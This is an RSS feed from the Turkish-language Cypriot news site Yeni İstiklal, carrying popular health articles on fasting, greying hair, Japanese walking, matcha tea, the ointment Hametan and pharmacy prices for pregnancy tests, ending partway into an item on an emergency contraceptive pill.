<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
     xmlns:content="http://purl.org/rss/1.0/modules/content/"
     xmlns:wfw="http://wellformedweb.org/CommentAPI/"
     xmlns:dc="http://purl.org/dc/elements/1.1/"
     xmlns:atom="http://www.w3.org/2005/Atom"
     xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
     xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
    <channel>
        <title>Yeni İstiklal - Kıbrıs Haber- Kıbrıs Haberleri</title>
        <link>https://yeniistiklal.com/</link>
        <description>Yeni İstiklal - Kıbrıs Haber- Kıbrıs Haberleri  , ilkeli yayıncılık anlayışından ödün vermeden bu yolda kıbrıs&#039;tan tüm dünyaya hitap eden bir internet gazetesidir...</description>
        <language>tr</language>
                                <item>
                <title>24 saat boyunca aç kalırsak ne olur?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/24-saat-boyunca-ac-kalirsak-ne-olur-551811</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/24-saat-boyunca-ac-kalirsak-ne-olur-551811</guid>
                <description><![CDATA[24 saat boyunca aç kalırsak Vücudunuzda Neler Olur?]]></description>
                <content:encoded><![CDATA[<p>24 saat aç kalmak, vücudunuzda hem olumlu hem de olumsuz etkilere yol açabilen fizyolojik bir süreçtir. Genellikle "aralıklı oruç" (intermittent fasting) olarak bilinen bu beslenme düzeni, kontrollü bir şekilde uygulandığında bazı sağlık faydaları sağlayabilir.</p>

<p>&nbsp;</p>

<h3>Vücudunuzda Neler Olur?</h3>

<p>&nbsp;</p>

<p>24 saatlik açlık süreci boyunca vücudunuz, enerji kaynaklarını kullanma şeklini değiştirir.</p>

<ol start="1">
	<li>
	<p><strong>İlk Saatler (0-12 Saat):</strong> Vücudunuz ilk olarak, yediğiniz yiyeceklerden elde ettiği glikozu enerji olarak kullanır. Bu glikoz, kan şekeri seviyenizin belirli bir aralıkta kalmasını sağlar. Vücudunuzdaki glikoz depoları (karaciğer ve kaslarda glikojen olarak depolanır) yeterliyse, bu sürenin sonunda tükenmeye başlar.</p>
	</li>
	<li>
	<p><strong>12-24 Saat Arası:</strong> Glikojen depoları tükendikçe, vücut yeni bir enerji kaynağı arayışına girer. Bu aşamada, <strong>yağ yakımı</strong> başlar. Vücudunuz, enerji için yağ depolarını parçalamaya başlar. Aynı zamanda, özellikle protein ve yağlardan glikoz üreterek beyin ve kan hücreleri gibi glikoza ihtiyaç duyan organların çalışmasını sürdürmeye çalışır. Bu süreç, insülin seviyelerinin düşmesine ve yağ yakımını teşvik eden büyüme hormonu seviyelerinin artmasına yardımcı olur.</p>
	</li>
	<li>
	<p><strong>Hücresel Yenilenme (Otofaji):</strong> 16-24 saatlik açlık, <strong>otofaji</strong> adı verilen önemli bir süreci tetikler. Otofaji, "kendi kendini yeme" anlamına gelir. Vücut, aç kaldığında hasarlı veya işlevini yitirmiş hücre bileşenlerini ve proteinlerini temizlemeye başlar. Bu doğal bir geri dönüşüm ve detoksifikasyon mekanizmasıdır. Otofajinin, yaşlanmayı yavaşlatma, inflamasyonu azaltma ve nörolojik hastalıklara karşı koruma gibi potansiyel faydaları olduğu düşünülmektedir.</p>
	</li>
</ol>

<p>&nbsp;</p>

<h3>24 Saat Aç Kalmanın Potansiyel Faydaları</h3>

<p>&nbsp;</p>

<ul>
	<li>
	<p><strong>Kilo Kaybı:</strong> Vücut, enerji için yağ depolarını kullanmaya başladığı için kilo ve vücut yağında azalma görülebilir.</p>
	</li>
	<li>
	<p><strong>İnsülin Direncini Azaltma:</strong> İnsülin seviyelerinin düşmesi, hücrelerin insüline karşı daha duyarlı hale gelmesini sağlar. Bu, tip 2 diyabet riskini azaltmaya yardımcı olabilir.</p>
	</li>
	<li>
	<p><strong>Hücresel Sağlık:</strong> Otofaji sayesinde hücrelerin kendini yenilemesi ve temizlemesi, genel sağlığı destekler.</p>
	</li>
	<li>
	<p><strong>Beyin Fonksiyonları:</strong> Bazı araştırmalar, aralıklı orucun beyin sağlığı üzerinde olumlu etkileri olabileceğini, odaklanmayı artırabileceğini ve nörolojik hastalıklara karşı koruma sağlayabileceğini öne sürmektedir.</p>
	</li>
</ul>

<p>&nbsp;</p>

<h3>Olası Yan Etkiler ve Riskler</h3>

<p>&nbsp;</p>

<p>24 saatlik açlık, her ne kadar bazı faydaları olsa da, bazı kişiler için zorlayıcı olabilir ve belirli riskler taşıyabilir.</p>

<ul>
	<li>
	<p><strong>Açlık ve Halsizlik:</strong> En yaygın yan etkilerden biri, açlık hissinin artması ve buna bağlı olarak yorgunluk, baş ağrısı, baş dönmesi veya sinirlilik yaşanmasıdır.</p>
	</li>
	<li>
	<p><strong>Dehidrasyon (Sıvı Kaybı):</strong> Yemeklerden de sıvı alındığı için, sadece su içerek dehidrasyon riski oluşabilir. Bu nedenle açlık süresince bol su içmek hayati önem taşır.</p>
	</li>
	<li>
	<p><strong>Kas Kaybı:</strong> Vücut, uzun süreli açlık durumunda enerji için kas proteinlerini kullanmaya başlayabilir. Bu, özellikle 72 saatten uzun süren oruçlarda daha belirgin hale gelir.</p>
	</li>
	<li>
	<p><strong>Hormonal Değişiklikler:</strong> Özellikle kadınlarda uzun süreli açlık, adet döngüsü düzensizliklerine veya hormonal dengesizliklere yol açabilir. Bu nedenle kadınların daha dikkatli olması önerilir.</p>
	</li>
	<li>
	<p><strong>Aşırı Yeme Eğilimi:</strong> Açlık süreci bittikten sonra kontrolsüz bir şekilde aşırı yeme isteği oluşabilir, bu da kilo verme hedeflerini olumsuz etkileyebilir.</p>
	</li>
</ul>

<p>&nbsp;</p>

<h3>Kimler Dikkatli Olmalı?</h3>

<p>&nbsp;</p>

<p>24 saatlik açlık, herkes için uygun bir yöntem olmayabilir. Özellikle aşağıdaki durumlarda doktorunuza danışmanız önemlidir:</p>

<ul>
	<li>
	<p>Diyabet (şeker hastalığı) veya kan şekeri sorunları</p>
	</li>
	<li>
	<p>Yeme bozukluğu geçmişi</p>
	</li>
	<li>
	<p>Kalp veya tansiyon sorunları</p>
	</li>
	<li>
	<p>Hamile veya emziren kadınlar</p>
	</li>
	<li>
	<p>Kronik bir hastalığı olanlar</p>
	</li>
</ul>

<p>Sonuç olarak, 24 saat aç kalmak vücudunuzda birçok metabolik ve hücresel değişikliğe neden olur. Doğru uygulandığında bazı sağlık faydaları sağlayabilirken, yanlış uygulamalar veya mevcut sağlık sorunları riskleri artırabilir. Bu nedenle, bu tür bir beslenme düzenine başlamadan önce mutlaka bir uzmandan destek almanız önerilir.</p>]]></content:encoded>
                <pubDate>Sun, 17 Aug 2025 21:08:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/08/24-saat-boyunca-ac-kalirsak-ne-olur-1755454218.jpeg"/>
            </item>
                                <item>
                <title>Saçlar Neden Beyazlar: Yaşlanmanın Görünür İzi ve Genetik Sırları</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/saclar-neden-beyazlar-yaslanmanin-gorunur-izi-ve-genetik-sirlari-551771</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/saclar-neden-beyazlar-yaslanmanin-gorunur-izi-ve-genetik-sirlari-551771</guid>
                <description><![CDATA[Saç Beyazlamasını Geri Döndürmek Mümkün Mü?]]></description>
                <content:encoded><![CDATA[<h2>Saçlar Neden Beyazlar: Yaşlanmanın Görünür İzi ve Genetik Sırları</h2>

<p>&nbsp;</p>

<p>Saç tellerinizdeki beyazlıklar, aynada gördüğünüz ilk anda sizi şaşırtabilir. Bir zamanlar parlak ve canlı olan saçlarınızın zamanla nasıl beyazladığını merak ediyor olabilirsiniz. Peki, saç beyazlamasının arkasındaki bilimsel gerçekler nelerdir? Bu durum, sadece yaşlanmanın doğal bir sonucu mu, yoksa altında yatan başka sebepler de var mı? Gelin, saç beyazlamasının karmaşık dünyasına daha yakından bakalım.</p>

<p>&nbsp;</p>

<h3>Saç Rengini Veren O Gizemli Pigment: Melanin</h3>

<p>&nbsp;</p>

<p>Saç rengimizin anahtarı, <strong>melanin</strong> adı verilen bir pigmentte gizlidir. Melanin, saç köklerimizde bulunan melanosit adı verilen hücreler tarafından üretilir. Saçımızın rengi, bu melanin pigmentinin miktarına ve türüne bağlıdır. Daha fazla ömelanin (koyu renkli melanin) üretiliyorsa saçlar siyah veya kahverengi olurken, daha az feomelanin (açık renkli melanin) üretiliyorsa sarı veya kızıl saçlara sahip oluruz.</p>

<p>Her bir saç telimiz, kökünden uzamaya başladığında melanositler tarafından sürekli olarak pigmentle beslenir. Bu pigmentler sayesinde saçımız rengini korur. Ancak yaşlandıkça bu süreç yavaşlamaya başlar.</p>

<p>&nbsp;</p>

<h3>Yaşlanmanın Kaçınılmaz Etkisi: Melanositlerin Yorgunluğu</h3>

<p>&nbsp;</p>

<p>Saç beyazlamasının en temel ve en yaygın nedeni <strong>yaşlanmadır</strong>. Zamanla, saç köklerimizdeki melanosit hücreleri işlevini yitirmeye başlar ve melanin üretimi durur. Melanin üretimi azaldıkça, saç tellerine renk verilemez ve saçlar pigmentini kaybederek şeffaf hale gelir. Bizim beyaz olarak gördüğümüz saçlar aslında renksiz, pigmentsiz saç telleridir.</p>

<p>Bu durum, genellikle 30'lu yaşlardan itibaren kendini göstermeye başlar, ancak bu yaş aralığı kişiden kişiye büyük farklılıklar gösterebilir. Erken yaşta saç beyazlaması da oldukça sık görülen bir durumdur ve genellikle genetik faktörlere bağlıdır.</p>

<p>&nbsp;</p>

<h3>Genetik Kodunuzdaki Şifreler: Aile Hikayesi ve Erken Beyazlama</h3>

<p>&nbsp;</p>

<p>Saç beyazlaması, genetik mirasımızla yakından ilişkilidir. Ailenizde saçları erken yaşta beyazlayan kişiler varsa, sizin de benzer bir durumla karşılaşma ihtimaliniz yüksektir. Bu nedenle, saçlarınızın ne zaman beyazlamaya başlayacağı, büyük ölçüde genetik kodunuzda yazılıdır. Bilim insanları, saç beyazlamasıyla ilgili genleri araştırmaya devam ediyor ve bu genlerin melanositlerin ömrünü ve aktivitesini nasıl etkilediğini anlamaya çalışıyorlar.</p>

<p>&nbsp;</p>

<h3>Saç Beyazlamasını Hızlandıran Diğer Faktörler</h3>

<p>&nbsp;</p>

<p>Yaşlanma ve genetik, saç beyazlamasının ana sebepleri olsa da, bu süreci hızlandırabilecek veya tetikleyebilecek başka faktörler de mevcuttur:</p>

<ul>
	<li>
	<p><strong>Stres:</strong> Şiddetli ve kronik stres, vücuttaki serbest radikallerin artmasına neden olabilir. Bu durum, melanosit hücrelerine zarar vererek saç beyazlamasını hızlandırabilir.</p>
	</li>
	<li>
	<p><strong>Beslenme Yetersizliği:</strong> Özellikle B12 vitamini, bakır ve demir eksiklikleri, saç sağlığı ve pigmentasyonunu olumsuz etkileyebilir. Bu vitamin ve minerallerin yeterli alınmaması saç beyazlamasına katkıda bulunabilir.</p>
	</li>
	<li>
	<p><strong>Otoimmün Hastalıklar:</strong> Vitiligo gibi bazı otoimmün hastalıklar, bağışıklık sisteminin melanositlere saldırması sonucu saç ve ciltte pigment kaybına neden olabilir.</p>
	</li>
	<li>
	<p><strong>Hormonal Değişiklikler:</strong> Tiroid hastalıkları gibi hormonal dengesizlikler, saç beyazlamasını tetikleyebilir.</p>
	</li>
	<li>
	<p><strong>Sigara Kullanımı:</strong> Sigara içmek, vücuttaki serbest radikalleri artırarak ve kan dolaşımını bozarak saç köklerine giden oksijen ve besin miktarını azaltır. Bu da melanositlerin fonksiyonunu bozabilir ve saç beyazlamasını hızlandırabilir.</p>
	</li>
</ul>

<p>&nbsp;</p>

<h3>Saç Beyazlamasını Geri Döndürmek Mümkün Mü?</h3>

<p>&nbsp;</p>

<p>Günümüzde, yaşlanmaya bağlı olarak duran melanin üretimini kalıcı olarak geri döndüren bir yöntem bulunmamaktadır. Saç beyazlaması, yaşlanmanın doğal ve kaçınılmaz bir parçasıdır. Ancak, beslenme yetersizliği veya stres gibi nedenlerden kaynaklanan durumlarda, altta yatan sorunun çözülmesiyle saç beyazlaması yavaşlayabilir.</p>

<p>Beyazlayan saçları gizlemek için saç boyaları en yaygın kullanılan yöntemdir. Gelecekte, bilimsel araştırmalar sayesinde saç beyazlamasını önleyebilecek veya geciktirebilecek yeni çözümlerin bulunması umut edilmektedir.</p>

<p>Saç beyazlaması, sadece estetik bir kaygı değil, aynı zamanda genetik yapınızın ve yaşam tarzınızın bir yansımasıdır. Bu, vücudunuzun yaşlanma sürecinin doğal bir parçası olduğunu gösteren bir işarettir.</p>]]></content:encoded>
                <pubDate>Sun, 03 Aug 2025 11:19:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/08/saclar-neden-beyazlar-yaslanmanin-gorunur-izi-ve-genetik-sirlari-1754209237.jpeg"/>
            </item>
                                <item>
                <title>Yavaş ve Bilinçli Adımların Dansı: Japon Yürüyüşü</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/yavas-ve-bilincli-adimlarin-dansi-japon-yuruyusu-551761</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/yavas-ve-bilincli-adimlarin-dansi-japon-yuruyusu-551761</guid>
                <description><![CDATA[Tiktok'ta Patlayan Japon Yürüyüşü Hakkında Bilinmeyenler...]]></description>
                <content:encoded><![CDATA[<p>Japon yürüyüşü, yalnızca bir yerden bir yere gitmekten ibaret değildir; bu, fiziksel ve zihinsel sağlığı destekleyen bilinçli bir harekettir. <strong>"Shinrin-yoku"</strong> (orman banyosu) ve <strong>"shinto"</strong> (yürüyüş) gibi geleneksel uygulamalardan ilham alan bu felsefe, modern dünyada popülerlik kazanmıştır. Yüksek tempolu egzersizlerin aksine, Japon yürüyüşü yavaşlamayı, anı fark etmeyi ve doğayla veya çevremizle uyum içinde olmayı amaçlar.</p>

<p>&nbsp;</p>

<h3>Japon Yürüyüşünün Temel Prensipleri</h3>

<p>&nbsp;</p>

<p>Japon yürüyüşünün temelinde yatan birkaç ana prensip vardır. Bu prensipler, yürüyüşü sıradan bir aktiviteden derin bir deneyime dönüştürür.</p>

<ul>
	<li>
	<p><strong>Yavaş Tempo:</strong> En önemli prensip, hızdan ziyade bilinçli harekete odaklanmaktır. Vücudunuzu zorlamak yerine, her adımı hissederek ve çevrenizdeki detayları fark ederek yürümek esastır. Bu yavaş tempo, kalp atış hızınızı düşürür ve zihninizi sakinleştirir.</p>
	</li>
	<li>
	<p><strong>Doğayla Bağlantı:</strong> Japon yürüyüşü, mümkünse doğal ortamlarda gerçekleştirilir. Ağaçların kokusunu almak, kuş seslerini dinlemek ve güneş ışığını hissetmek gibi duyusal deneyimler, zihni dinlendirir ve stresi azaltır. Bu pratik, doğanın iyileştirici gücünden faydalanmayı hedefler.</p>
	</li>
	<li>
	<p><strong>Bilinçli Nefes Alma:</strong> Yürüyüş sırasında nefesinize odaklanmak, zihni sakinleştiren önemli bir tekniktir. Burundan derin nefesler alıp, ağızdan yavaşça vermek, parasempatik sinir sistemini aktive ederek vücudu rahatlatır. Bu, anksiyete ve stresle başa çıkmada etkili bir yoldur.</p>
	</li>
	<li>
	<p><strong>Duruş ve Vücut Farkındalığı:</strong> Her adımda doğru duruşu korumak önemlidir. Omuzlar geride, sırt dik ve karın kasları hafifçe sıkılı olmalıdır. Bu, hem fiziksel olarak daha dengeli olmanızı sağlar hem de vücut farkındalığınızı artırır.</p>
	</li>
</ul>

<p>&nbsp;</p>

<h3>Japon Yürüyüşünün Faydaları</h3>

<p>&nbsp;</p>

<p>Japon yürüyüşü, hem fiziksel hem de zihinsel sağlık üzerinde birçok olumlu etkiye sahiptir.</p>

<ul>
	<li>
	<p><strong>Stres ve Anksiyeteyi Azaltır:</strong> Yavaş tempolu yürüyüş, doğayla iç içe olma ve bilinçli nefes alma teknikleri, kortizol gibi stres hormonlarının seviyesini düşürür. Bu, zihinsel olarak daha sakin ve huzurlu hissetmenize yardımcı olur.</p>
	</li>
	<li>
	<p><strong>Odaklanma Yeteneğini Geliştirir:</strong> Her adıma ve nefese odaklanmak, bir tür hareketli meditasyondur. Bu, zihnin dağılmasını önler ve mevcut ana yoğunlaşmayı kolaylaştırır. Zamanla bu pratik, günlük hayattaki odaklanma yeteneğinizi de artırır.</p>
	</li>
	<li>
	<p><strong>Fiziksel Sağlığı Destekler:</strong> Yavaş tempoda bile olsa, düzenli yürüyüş kalp sağlığını iyileştirir, kan basıncını düşürür ve kasları güçlendirir. Aşırı zorlayıcı olmayan bu egzersiz, her yaştan ve fitness seviyesinden insan için uygundur.</p>
	</li>
	<li>
	<p><strong>Yaratıcılığı Artırır:</strong> Doğayla iç içe olmak ve zihni dinlendirmek, yeni fikirlerin ortaya çıkmasına zemin hazırlar. Monoton bir ortamdan uzaklaşmak, yaratıcılık ve problem çözme becerileri üzerinde olumlu etkiler yaratır.</p>
	</li>
</ul>

<p>&nbsp;</p>

<h3>Nasıl Başlanır?</h3>

<p>&nbsp;</p>

<p>Japon yürüyüşüne başlamak oldukça basittir ve özel bir ekipman gerektirmez.</p>

<ol start="1">
	<li>
	<p><strong>Doğru Mekanı Seçin:</strong> Park, ormanlık alan veya sahil gibi doğal bir ortam idealdir. Eğer imkanınız yoksa, şehrin daha az yoğun ve gürültülü bölgelerinde de yürüyüş yapabilirsiniz.</p>
	</li>
	<li>
	<p><strong>Yavaşlayın:</strong> Amacınız bir yere yetişmek değil, anın tadını çıkarmak olsun. Yürüyüşünüzü yavaş tempoda, adımlarınızı hissederek gerçekleştirin.</p>
	</li>
	<li>
	<p><strong>Nefesinize Odaklanın:</strong> Yürüyüş boyunca derin nefesler alıp verin. Her nefeste vücudunuza giren havayı, her verişte ise vücudunuzdan çıkan havayı fark edin.</p>
	</li>
	<li>
	<p><strong>Duyularınızı Açın:</strong> Etrafınızdaki sesleri, kokuları ve renkleri fark edin. Ağaçların yapraklarını, rüzgarın esintisini veya toprağın kokusunu hissetmeye çalışın.</p>
	</li>
	<li>
	<p><strong>Düzenli Uygulama:</strong> Başlangıçta kısa yürüyüşlerle başlayabilir, zamanla süreyi artırabilirsiniz. Haftada birkaç kez 15-30 dakikalık yürüyüşler bile büyük fark yaratır.</p>
	</li>
</ol>

<p>Japon yürüyüşü, modern hayatın hızlı temposuna karşı bir panzehir sunar. Kendinize ayıracağınız bu zaman, sadece fiziksel olarak değil, aynı zamanda zihinsel ve ruhsal olarak da sizi besleyecektir.</p>]]></content:encoded>
                <pubDate>Fri, 01 Aug 2025 10:17:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/08/yavas-ve-bilincli-adimlarin-dansi-japon-yuruyusu-1754032734.jpeg"/>
            </item>
                                <item>
                <title>Matcha Çayı Nedir?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/matcha-cayi-nedir-551608</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/matcha-cayi-nedir-551608</guid>
                <description><![CDATA[Zümrüt tozunun gizemi Matcha çayı hakkında tüm detaylar haberimizde...]]></description>
                <content:encoded><![CDATA[<p>Gündemden düşmeyen sağlık iksiri olarak adlandırılan Matcha çayının sırrını duyunca çok şaşıracaksınız.Işıldayan yeşil rengi ve tarifi olmayan aroması ile damağınızı mest eden Matcha çayı adeta sağlık deposu.</p>

<p>Matcha'nın vücudunuza sağladığı faydaları gelin birlikte inceleyelim:</p>

<p>Odaklanma konsantrasyon yeteneğini arttırarar zihin egzersizi sağlar.</p>

<p>Vücudunuzdaki kafein etkisini dengelediği için enerji sağlar.</p>

<p>Kronik hastalık riskinizi azaltır.</p>

<p>Metabolizmanızı hızlandırmaya yardımcı oldugu için yağ yakımınızı hızlandırır.</p>

<p>İçerdiği bileşenler sayesinde kolesterol seviyenizi düzenler.&nbsp;</p>

<p>Vücudunuzdaki toksinlerin atılmasına yardımcı olur.</p>

<p>&nbsp;</p>

<p>Peki bu kadar faydalı olan Maça çayını nasıl hazırlamalısınız?</p>

<p>İhtiyacınız olan 1 çay kaşığı maça tozu ,bir bardak sıcak su ve bir adet çırpıcı.</p>

<p>Matcha çayını bir bardağa eleyin.(Bu işlem topaklanmasını önleyecektir.)</p>

<p>Üzerine az miktarda sıcak suyu ekleyip iyice çırpıp pürüzsüz bir kıvam elde edin.</p>

<p>Kalan sıcak suyu üzerine ekleyip karıştırın.&nbsp;</p>

<p>Afiyet Olsun...</p>

<p>SAĞLIK TAVSİYESİ DEĞİLDİR.</p>]]></content:encoded>
                <pubDate>Sat, 03 May 2025 07:56:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/05/maca-cayi-nedir-1746249155.jpeg"/>
            </item>
                                <item>
                <title>Hametan Merhem 2025 Fiyatları</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/hametan-merhem-2025-fiyatlari-551596</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/hametan-merhem-2025-fiyatlari-551596</guid>
                <description><![CDATA[Hametan Merhem Ne İşe Yarar? Hametan Merhem 2025 Fiyatları]]></description>
                <content:encoded><![CDATA[<h2><strong>Hametan Merhem Ne İşe Yarar?</strong></h2>

<p>Hametan merhem ve kremlerin başlıca kullanım alanları şunlardır:</p>

<ul>
	<li><strong>Bebeklerde ve küçük çocuklarda pişiklerin tedavisi ve önlenmesi.</strong></li>
	<li><strong>1. ve 2. derece yanıklar ile güneş yanıklarının hafifletilmesi.</strong></li>
	<li><strong>Çizik, kesik gibi yüzeysel deri lezyonlarının iyileşmesine yardımcı olması.</strong></li>
	<li><strong>Emziren annelerde meme başı çatlaklarının bakımı ve korunması.</strong></li>
	<li><strong>Kurumuş, çatlamış ve yarılmış derinin (yaşlıların cildi dahil) bakımı ve korunması.</strong></li>
	<li><strong>Ciltteki tahriş ve iltihaplanmanın azaltılması.</strong></li>
	<li><strong>Böcek ısırıkları sonrası oluşan kaşıntı ve kızarıklıkların hafifletilmesi.</strong></li>
	<li><strong>Yüzdeki kızarıklık ve tahrişlerin giderilmesine yardımcı olması (özellikle hassas ciltlerde).</strong></li>
	<li><strong>Cildin nem dengesinin korunması ve cilt hücrelerinin yenilenmesinin desteklenmesi.</strong></li>
</ul>

<p>Hametan'ın içeriğindeki <em>Hamamelis virginiana</em> özleri, büzücü (astrenjan), kanama durdurucu (lokal hemostatik) ve iltihap giderici (antiinflamatuar) özelliklere sahiptir. Bu sayede ciltteki yaralanmalarda doku büzücü ve kalınlaştırıcı etki gösterir, kanama süresini kısaltır ve iltihap belirtilerini azaltır.</p>

<h2><strong>Hametan Merhem Nasıl Kullanılır?</strong></h2>

<p>Hametan merhem ve kremlerin genel kullanım şekli şöyledir:</p>

<ul>
	<li>Uygulanacak bölge temizlenir ve nazikçe kurulanır.</li>
	<li>İnce bir tabaka halinde, etkilenen cilt bölgesine günde birkaç kez sürülür.</li>
	<li>Gerekirse, merhem sürüldükten sonra bölge gazlı bez ile kapatılabilir.</li>
	<li>Emziren annelerde meme başı bakımında, her emzirmeden sonra uygulanır.</li>
	<li>Kullanım süresiyle ilgili herhangi bir kısıtlama bulunmamaktadır, ancak şikayetlerinizin devam etmesi veya kötüleşmesi durumunda bir doktora danışmanız önemlidir.</li>
</ul>

<h2>Hametan Merhem 2025 Fiyatları</h2>

<p>2025 yılı itibarıyla Hametan merhem ve kremlerin fiyatları farklılık gösterebilir. Eczanelerden veya online satış platformlarından güncel fiyat bilgisi almanız en doğrusudur. Ancak Nisan 2025 itibarıyla bazı fiyatlar şu şekildeydi:</p>

<ul>
	<li><strong>Hametan %5.35 Krem (30g):</strong> Yaklaşık 112 TL</li>
	<li><strong>Hametan %25 Merhem (30g):</strong> Yaklaşık 113.62 TL</li>
	<li><strong>Hametol Onarıcı Bakım Kremi (30g):</strong> 160 TL ile 199 TL arasında değişen fiyatlarla bulunabiliyor.</li>
	<li><strong>Hametol Baby Pişik Kremi (30g):</strong> Yaklaşık 175 TL</li>
</ul>

<p>&nbsp;</p>

<p>SAĞLIK TAVSİYESİ DEĞİLDİR..</p>]]></content:encoded>
                <pubDate>Thu, 01 May 2025 12:41:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/05/hametan-merhem-2025-fiyatlari-1746092676.jpeg"/>
            </item>
                                <item>
                <title>2025 Yılı Eczanelerde gebelik testi kaç TL?</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/2025-yili-eczanelerde-gebelik-testi-kac-tl-551595</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/2025-yili-eczanelerde-gebelik-testi-kac-tl-551595</guid>
                <description><![CDATA[Eczanelerde satılan gebelik testlerinin fiyatları marka, özellik (erken gebelik testi gibi) ve test sayısına göre değişiklik göstermektedir.]]></description>
                <content:encoded><![CDATA[<h2>Gebelik Testi Nedir?</h2>

<p>Gebelikte üretilen bir hormon olan <strong>insan koryonik gonadotropin (hCG)</strong> hormonunun varlığını tespit ederek bir kadının hamile olup olmadığını anlamaya yarayan testlerdir. Bu hormon, döllenmiş yumurtanın rahme yerleşmesinden yaklaşık 6-12 gün sonra üretilmeye başlar ve kanda ve idrarda seviyesi hızla yükselir.</p>

<p>Temel olarak iki tür gebelik testi bulunmaktadır:</p>

<ul>
	<li><strong>İdrar Testi:</strong> Eczanelerden reçetesiz olarak alınabilen ve evde kolayca uygulanabilen testlerdir. İdrardaki hCG seviyesini ölçerek sonuç verirler. Genellikle adet gecikmesinden sonra yapılması önerilir. Farklı markalarda ve hassasiyet seviyelerinde idrar testleri bulunmaktadır. Bazı erken gebelik testleri, beklenen adet tarihinden birkaç gün öncesinde bile sonuç verebilir.</li>
	<li><strong>Kan Testi:</strong> Sağlık kuruluşlarında doktor kontrolünde yapılan testlerdir. Kandaki hCG seviyesini ölçerler ve idrar testlerine göre daha hassas ve güvenilirdirler. Gebeliği daha erken dönemde tespit edebilirler. İki tür kan testi bulunur:
	<ul>
		<li><strong>Kalitatif hCG Testi:</strong> Kandaki hCG hormonunun varlığını "var" veya "yok" şeklinde belirtir.</li>
		<li><strong>Kantitatif hCG Testi (Beta-hCG):</strong> Kandaki hCG hormonunun miktarını sayısal olarak ölçer ve gebeliğin haftası hakkında da bilgi verebilir.</li>
	</ul>
	</li>
</ul>

<h3><strong>Evde İdrar Gebelik Testi Nasıl Yapılır?</strong></h3>

<p>Çoğu idrar gebelik testi benzer şekilde uygulanır:</p>

<ol>
	<li><strong>Test Kitini Hazırlayın:</strong> Test kitinin üzerindeki talimatları dikkatlice okuyun. Son kullanma tarihini kontrol edin.</li>
	<li><strong>İdrar Toplayın:</strong> Genellikle sabah ilk idrarı tercih edilir çünkü hCG konsantrasyonu daha yüksektir. Temiz ve kuru bir kapta idrar toplayın. Bazı testlerde idrar akışına direkt olarak test çubuğu tutulabilir.</li>
	<li><strong>Testi Uygulayın:</strong> Test çubuğunu idrar örneğine batırın veya idrarı test çubuğundaki özel alana damlatın. Testin türüne göre talimatlardaki süreyi takip edin.</li>
	<li><strong>Sonucu Bekleyin:</strong> Genellikle 3-5 dakika içinde sonuç belirir.</li>
	<li><strong>Sonucu Değerlendirin:</strong> Çoğu testte bir çizgi kontrol çizgisini ifade eder (testin doğru çalıştığını gösterir). İkinci bir çizginin belirmesi (çift çizgi) genellikle pozitif (hamile) anlamına gelir. Tek çizgi ise negatiftir (hamile değil). Silik çizgiler de hamilelik anlamına gelebilir, bu durumda testi birkaç gün sonra tekrarlamak veya bir doktora danışmak önemlidir.</li>
</ol>

<h3><strong>Ne Zaman Gebelik Testi Yapılmalı?</strong></h3>

<p>İdrar gebelik testleri için en ideal zaman, beklenen adet tarihinin geçmesinden sonraki birkaç gündür. Bu, hCG seviyesinin güvenilir bir sonuç verecek kadar yükselmesini sağlar. Erken gebelik testleri daha hassas olsalar da, yanlış negatif sonuç verme olasılıkları daha yüksektir.</p>

<p>Kan testleri ise gebeliği daha erken, döllenmeden yaklaşık 6-8 gün sonra tespit edebilir.</p>

<h2>Eczanelerde gebelik testi kaç TL?</h2>

<p>2025 yılı Mayıs ayı itibarıyla eczanelerde tekli gebelik testlerinin fiyatı <strong>yaklaşık olarak 20 TL ile 170 TL</strong> arasında değişebilmektedir. Çoklu paketler ise daha yüksek fiyatlı olabilir.</p>

<p>SAĞLIK TAVSİYESİ DEĞİLDİR&nbsp;</p>]]></content:encoded>
                <pubDate>Thu, 01 May 2025 12:35:00 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2025/05/2025-yili-eczanelerde-gebelik-testi-kac-tl-1746092327.jpeg"/>
            </item>
                                <item>
                <title>Ella Ertesi Gün Hapı Fiyatı 2025</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/ella-ertesi-gun-hapi-fiyati-2025-551594</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/ella-ertesi-gun-hapi-fiyati-2025-551594</guid>
                <description><![CDATA[Ella ertesi gün hapının fiyatı ne kadar?detaylar haberimizde]]></description>
                <content:encoded><![CDATA[<h2>Ertesi Gün Hapı Nedir?</h2>

<p>Ertesi gün hapı, korunmasız cinsel ilişki sonrası veya doğum kontrol yönteminin başarısız olduğu durumlarda (örneğin prezervatifin yırtılması, doğum kontrol hapının unutulması gibi) istenmeyen gebeliği önlemek amacıyla kullanılan acil bir doğum kontrol yöntemidir.</p>

